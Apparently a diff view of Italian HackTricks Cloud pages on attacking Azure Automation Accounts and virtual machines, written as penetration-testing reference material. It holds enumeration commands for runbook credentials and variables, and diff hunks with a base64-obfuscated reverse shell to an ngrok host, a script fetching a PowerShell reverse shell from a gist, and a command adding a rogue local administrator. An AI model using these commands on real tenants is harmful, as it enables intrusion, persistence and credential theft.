- **Accesso alla rete**: Può essere impostato su **pubblico** o **privato**.
## Runbooks e Lavori
Un Runbook in Azure Automation è uno **script che esegue automaticamente compiti** all'interno del tuo ambiente cloud. I runbook possono essere scritti in PowerShell, Python o editor grafici. Aiutano ad automatizzare compiti amministrativi come la gestione delle VM, la patching o i controlli di conformità.
Nel **codice** situato all'interno dei **Runbooks** potrebbe contenere **informazioni sensibili** (come credenziali).
Vai su `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Lavori/Gruppi di lavoratori ibridi/Compiti di osservazione/credenziali/variabili/certificati/connessioni`
Un **Lavoro è un'istanza di esecuzione di un Runbook**. Quando esegui un Runbook, viene creato un Lavoro per tenere traccia di quell'esecuzione. Ogni lavoro include:
- **Stato**: In coda, In esecuzione, Completato, Fallito, Sospeso.
- **Output**: Il risultato dell'esecuzione del Runbook.
- **Orario di inizio e fine**: Quando il lavoro è iniziato e completato.
Un lavoro contiene l'**output** dell'**esecuzione** del **Runbook**. Se puoi **leggere** i **lavori**, fallo poiché **contengono** l'**output** dell'esecuzione (potenziali **informazioni sensibili**).
### Programmazioni e Webhook
Ci sono 3 modi principali per eseguire un Runbook:
- **Programmazioni**: Queste vengono utilizzate per **attivare** i Runbooks a un **orario specifico** o a **intervalli**.
- **Webhook**: Questi sono **endpoint HTTP** che possono essere utilizzati per **attivare** i Runbooks da **servizi esterni**. Nota che l'URL del webhook **non è visibile** dopo la creazione.
- **Attivazione manuale**: Puoi **attivare manualmente** un Runbook dal Portale Azure e dalla CLI.
### Controllo del codice sorgente
Consente di importare Runbooks da **Github, Azure Devops (Git) e Azure Devops (TFVC)**. È possibile indicare di pubblicare i Runbooks del repository nell'account di automazione Azure ed è anche possibile indicare di **sincronizzare le modifiche dal repository** all'account di automazione Azure.
Quando la sincronizzazione è abilitata, nel **repository Github viene creato un webhook** per attivare la sincronizzazione ogni volta che si verifica un evento di push. Esempio di un URL webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Nota che questi webhook **non saranno visibili** quando si elencano i webhook nei runbooks associati al repository Github. Nota anche che **non è possibile cambiare l'URL del repository** di un controllo del codice sorgente una volta creato.
Affinché il controllo del codice sorgente configurato funzioni, l'**Azure Automation Account** deve avere un'identità gestita (di sistema o utente) con il ruolo di **`Contributor`**. Inoltre, per assegnare un'identità gestita da utente all'Automation Account, è possibile farlo impostando la variabile **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** sull'**ID client dell'identità gestita da utente**.
### Ambienti di esecuzione
Quando si crea un Runbook è possibile selezionare l'ambiente di esecuzione. Per impostazione predefinita, sono disponibili i seguenti ambienti di esecuzione:
- **Powershell 5.1**
- **Powershell 7.1**
- **PowerShell 7.2**
- **Python 3.10**
- **Python 3.8**
- **Python 2.7**
Tuttavia, è anche possibile **creare i propri ambienti**, utilizzando uno di questi come base. Nel caso di Python, è possibile caricare pacchetti `.whl` nell'ambiente che verrà utilizzato. Nel caso di PowerShell, è possibile caricare pacchetti `.zip` con i moduli da avere nell'esecuzione.
### Lavoratore Ibrido
Un Runbook può essere eseguito in un **contenitore all'interno di Azure** o in un **Lavoratore Ibrido** (macchina non Azure).\
L'**Agente di Log Analytics** è distribuito sulla VM per registrarla come lavoratore ibrido.\
I lavori del lavoratore ibrido vengono eseguiti come **SYSTEM** su Windows e come account **nxautomation** su Linux.\
Ogni Lavoratore Ibrido è registrato in un **Gruppo di Lavoratori Ibridi**.
Pertanto, se puoi scegliere di eseguire un **Runbook** in un **Lavoratore Ibrido Windows**, eseguirai **comandi arbitrari** all'interno di una macchina esterna come **System** (ottima tecnica di pivot).
### Configurazione dello stato (SC)
>[!WARNING]
> Come indicato nella [documentazione](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configurazione dello Stato di Azure Automation sarà ritirata il 30 settembre 2027 e sostituita da [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Gli Automation Accounts supportano anche la **Configurazione dello Stato (SC)**, che è una funzionalità che aiuta a **configurare** e **mantenere** lo **stato** delle tue VM. È possibile **creare** e **applicare** configurazioni DSC a macchine **Windows** e **Linux**.
Dal punto di vista di un attaccante, questo era interessante perché consentiva di **eseguire codice PS arbitrario in tutte le VM configurate**, consentendo di elevare i privilegi alle identità gestite di queste VM, potenzialmente pivotando verso nuove reti... Inoltre, le configurazioni potrebbero contenere **informazioni sensibili**.
## Enumerazione
```bash
# List Automation Accounts
az automation account list --output table
# Get Automation Account details
# Check the network access in `privateEndpointConnections` and `publicNetworkAccess`
# Check the managed identities in `identity`
az automation account show --name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get keys of automation account
## These are used for the DSC
az automation account list-keys --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get schedules of automation account
az automation schedule list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get connections of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections?api-version=2023-11-01"
# Get connection details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/connections/<connection-name>?api-version=2023-11-01"
# Get credentials of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials?api-version=2023-11-01"
# Get credential details
## Note that you will only be able to access the password from inside a Runbook
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/credentials/<credential-name>?api-version=2023-11-01"
# Get certificates of automation account
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates?api-version=2023-11-01"
# Get certificate details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/certificates/<certificate-name>?api-version=2023-11-01"
# Get variables of automation account
## It's possible to get the value of unencrypted variables but not the encrypted ones
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables?api-version=2023-11-01"
# Get variable details
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2023-11-01"
# Get runbooks of an automation account
az automation runbook list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get runbook details
az automation runbook show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <RUNBOOK-NAME>
# Get runbook content
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/runbooks/<runbook-name>/content?api-version=2023-11-01"
# Get jobs of an automation account
az automation job list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get job details
az automation job show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <JOB-NAME>
# Get job output
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
# Get the Runbook content when the job was executed
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/runbookContent?api-version=2023-11-01"
# Get webhooks inside an automation account
## It's possible to see to which runbook it belongs in the given data
## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d
## Generating a webhook can be useful from a persistence perspective
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks?api-version=2018-06-30"
# Get the source control setting of an automation account (if any)
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get custom runtime environments
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
az automation runtime-environment list \
--resource-group <res-group>> \
--automation-account-name <account-name> \
--query "[?!(starts_with(description, 'System-generated'))]"
# Get State Configurations (SC) of an automation account
az automation dsc configuration list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get State Configuration details
az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
```
```powershell
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount
# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)
# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp
# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
## Escalation dei privilegi e Post Exploitation
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Riferimenti
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -19,7 +19,7 @@ Le Macchine Virtuali (VM) di Azure sono server **basati su cloud flessibili e on
- **Zone di Disponibilità**: Le zone di disponibilità sono gruppi distinti di data center all'interno di una specifica regione di Azure che sono fisicamente separati per ridurre al minimo il rischio che più zone siano colpite da interruzioni locali o disastri.
- **Tipo di Sicurezza**:
- **Sicurezza Standard**: Questo è il tipo di sicurezza predefinito che non richiede alcuna configurazione specifica.
- **Avvio Fidato**: Questo tipo di sicurezza migliora la protezione contro boot kit e malware a livello di kernel utilizzando Secure Boot e Virtual Trusted Platform Module (vTPM).
- **Avvio Fidato**: Questo tipo di sicurezza migliora la protezione contro i boot kit e il malware a livello di kernel utilizzando Secure Boot e Virtual Trusted Platform Module (vTPM).
- **VM Riservate**: Oltre a un avvio fidato, offre isolamento basato su hardware tra la VM, l'ipervisore e la gestione dell'host, migliora la crittografia del disco e [**altro**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Autenticazione**: Per impostazione predefinita, viene generata una nuova **chiave SSH**, anche se è possibile utilizzare una chiave pubblica o utilizzare una chiave precedente e il nome utente per impostazione predefinita è **azureuser**. È anche possibile configurare l'uso di una **password.**
- **Crittografia del disco VM:** Il disco è crittografato a riposo per impostazione predefinita utilizzando una chiave gestita dalla piattaforma.
@@ -28,13 +28,13 @@ Le Macchine Virtuali (VM) di Azure sono server **basati su cloud flessibili e on
- **Nessuno**: Apre fondamentalmente ogni porta
- **Base**: Consente di aprire facilmente le porte in entrata HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- **Avanzato**: Seleziona un gruppo di sicurezza
- **Backup**: È possibile abilitare il backup **Standard** (una volta al giorno) e **Migliorato** (più volte al giorno)
- **Backup**: È possibile abilitare il backup **Standard** (una volta al giorno) e **Potenziato** (più volte al giorno)
- **Opzioni di orchestrazione delle patch**: Questo consente di applicare automaticamente le patch nelle VM secondo la politica selezionata come descritto nei [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
- **Avvisi**: È possibile ricevere automaticamente avvisi via email o app mobile quando accade qualcosa nella VM. Regole predefinite:
- Percentuale CPU superiore all'80%
- Byte di Memoria Disponibile inferiori a 1GB
- Percentuale di IOPS Consumato dai Dischi Dati superiore al 95%
- Percentuale di IOPS Consumato dal SO superiore al 95%
- Percentuale di IOPS Consumi dei Dischi Dati superiore al 95%
- Percentuale di IOPS Consumi del SO superiore al 95%
- Rete in Totale superiore a 500GB
- Rete Out Totale superiore a 200GB
- VmAvailabilityMetric inferiore a 1
@@ -47,11 +47,11 @@ Le Macchine Virtuali (VM) di Azure sono server **basati su cloud flessibili e on
- È possibile **abilitare l'attacco di un disco a 2 o più VM**
- Per impostazione predefinita, ogni disco è **crittografato** con una chiave della piattaforma.
- Stesso discorso per gli snapshot
- Per impostazione predefinita, è possibile **condividere il disco da tutte le reti**, ma può anche essere **ristretto** solo a determinati **accessi privati** o **completamente disabilitare** l'accesso pubblico e privato.
- Stesso discorso per gli snapshot
- Stesso per gli snapshot
- Per impostazione predefinita, è possibile **condividere il disco da tutte le reti**, ma può anche essere **ristretto** solo a determinati **accessi privati** o **disabilitare completamente** l'accesso pubblico e privato.
- Stesso per gli snapshot
- È possibile **generare un URI SAS** (di max 60 giorni) per **esportare il disco**, che può essere configurato per richiedere autenticazione o meno
- Stesso discorso per gli snapshot
- Stesso per gli snapshot
{{#tabs}}
{{#tab name="az cli"}}
@@ -76,7 +76,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## Immagini, Immagini della Galleria e Punti di Ripristino
Un **VM image** è un modello che contiene il sistema operativo, le impostazioni dell'applicazione e il filesystem necessari per **creare una nuova macchina virtuale (VM)**. La differenza tra un'immagine e uno snapshot del disco è che uno snapshot del disco è una copia in sola lettura, a un determinato momento, di un singolo disco gestito, utilizzato principalmente per il backup o la risoluzione dei problemi, mentre un'immagine può contenere **più dischi ed è progettata per servire come modello per la creazione di nuove VM**.\
Un **VM image** è un modello che contiene il sistema operativo, le impostazioni dell'applicazione e il filesystem necessari per **creare una nuova macchina virtuale (VM)**. La differenza tra un'immagine e uno snapshot del disco è che uno snapshot del disco è una copia in sola lettura, a un determinato momento, di un singolo disco gestito, utilizzato principalmente per backup o risoluzione dei problemi, mentre un'immagine può contenere **più dischi ed è progettata per servire come modello per la creazione di nuove VM**.\
Le immagini possono essere gestite nella **sezione Immagini** di Azure o all'interno delle **gallerie di calcolo di Azure**, che consentono di generare **versioni** e **condividere** l'immagine tra tenant o addirittura renderla pubblica.
Un **punto di ripristino** memorizza la configurazione della VM e **snapshot** dell'applicazione **coerenti nel tempo** di tutti i dischi gestiti collegati alla VM. È correlato alla VM e il suo scopo è quello di poter ripristinare quella VM a come era in quel specifico momento.
@@ -150,7 +150,7 @@ Dalla [**documentazione**](https://learn.microsoft.com/en-us/azure/site-recovery
Azure Bastion consente un accesso sicuro e senza soluzione di continuità al **Remote Desktop Protocol (RDP)** e **Secure Shell (SSH)** alle tue macchine virtuali (VM) direttamente tramite il Portale Azure o tramite un jump box. Eliminando **la necessità di indirizzi IP pubblici** sulle tue VM.
Il Bastion distribuisce una subnet chiamata **`AzureBastionSubnet`** con una netmask di `/26` nella VNet su cui deve operare. Quindi, consente di **connettersi a VM interne tramite il browser** utilizzando `RDP` e `SSH`, evitando di esporre le porte delle VM a Internet. Può anche funzionare come un **jump host**.
Il Bastion distribuisce una subnet chiamata **`AzureBastionSubnet`** con una maschera di rete `/26` nella VNet su cui deve operare. Quindi, consente di **connettersi a VM interne tramite il browser** utilizzando `RDP` e `SSH`, evitando di esporre le porte delle VM a Internet. Può anche funzionare come un **jump host**.
Per elencare tutti gli Azure Bastion Hosts nella tua sottoscrizione e connetterti alle VM tramite essi, puoi utilizzare i seguenti comandi:
@@ -189,7 +189,7 @@ Get-AzBastion
## Metadata
Il servizio di metadati delle istanze Azure (IMDS) **fornisce informazioni sulle istanze di macchine virtuali in esecuzione** per assistere nella loro gestione e configurazione. Offre dettagli come SKU, configurazioni di archiviazione, configurazioni di rete e informazioni sugli eventi di manutenzione imminenti tramite **REST API disponibile all'indirizzo IP non instradabile 169.254.169.254**, accessibile solo dall'interno della VM. La comunicazione tra la VM e IMDS rimane all'interno dell'host, garantendo un accesso sicuro. Quando si interroga IMDS, i client HTTP all'interno della VM dovrebbero bypassare i proxy web per garantire una comunicazione corretta.
Il servizio di metadati delle istanze Azure (IMDS) **fornisce informazioni sulle istanze di macchine virtuali in esecuzione** per assistere nella loro gestione e configurazione. Offre dettagli come SKU, archiviazione, configurazioni di rete e informazioni sugli eventi di manutenzione imminenti tramite **REST API disponibile all'indirizzo IP non instradabile 169.254.169.254**, accessibile solo dall'interno della VM. La comunicazione tra la VM e IMDS rimane all'interno dell'host, garantendo un accesso sicuro. Quando si interroga IMDS, i client HTTP all'interno della VM dovrebbero bypassare i proxy web per garantire una comunicazione corretta.
Inoltre, per contattare l'endpoint dei metadati, la richiesta HTTP deve avere l'intestazione **`Metadata: true`** e non deve avere l'intestazione **`X-Forwarded-For`**.
@@ -431,7 +431,7 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
### Estensioni VM
Le estensioni delle VM di Azure sono piccole applicazioni che forniscono **configurazione post-deployment** e compiti di automazione sulle macchine virtuali (VM) di Azure.
Le estensioni VM di Azure sono piccole applicazioni che forniscono **configurazione post-deployment** e compiti di automazione sulle macchine virtuali (VM) di Azure.
Questo permetterebbe di **eseguire codice arbitrario all'interno delle VM**.
@@ -478,7 +478,7 @@ az vm extension set \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```
- Esegui uno script situato su Internet
- Eseguire uno script situato su Internet
```bash
az vm extension set \
--resource-group rsc-group> \
@@ -520,7 +520,7 @@ az vm extension set \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
Puoi anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
Potresti anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Reimposta la password utilizzando l'estensione VMAccess
```powershell
@@ -549,9 +549,9 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<details>
<summary>DesiredConfigurationState (DSC)</summary>
<summary>DesiredStateConfiguration (DSC)</summary>
Questa è un'**estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione:
Questa è un **estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione:
```powershell
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -603,7 +603,7 @@ Set-AzVMDscExtension `
<summary>Hybrid Runbook Worker</summary>
Questa è un'estensione VM che consente di eseguire runbook in VM da un account di automazione. Per ulteriori informazioni, controlla il [servizio Automation Accounts](../az-automation-account/).
Questa è un'estensione VM che consente di eseguire runbook in VM da un account di automazione. Per ulteriori informazioni, controlla il [servizio Automation Accounts](../az-automation-account/index.html).
</details>
@@ -727,7 +727,7 @@ Questi sono **dati persistenti** che possono essere recuperati dall'endpoint dei
È possibile passare alcuni dati alla VM che saranno memorizzati nei percorsi previsti:
- In **Windows**, i dati personalizzati sono collocati in `%SYSTEMDRIVE%\AzureData\CustomData.bin` come file binario e non vengono elaborati.
- In **Windows**, i dati personalizzati vengono posizionati in `%SYSTEMDRIVE%\AzureData\CustomData.bin` come file binario e non vengono elaborati.
- In **Linux**, erano memorizzati in `/var/lib/waagent/ovf-env.xml` e ora sono memorizzati in `/var/lib/waagent/CustomData/ovf-env.xml`
- **Agente Linux**: Non elabora i dati personalizzati per impostazione predefinita, è necessaria un'immagine personalizzata con i dati abilitati
- **cloud-init:** Per impostazione predefinita elabora i dati personalizzati e questi dati possono essere in [**diversi formati**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Potrebbe eseguire uno script facilmente inviando semplicemente lo script nei dati personalizzati.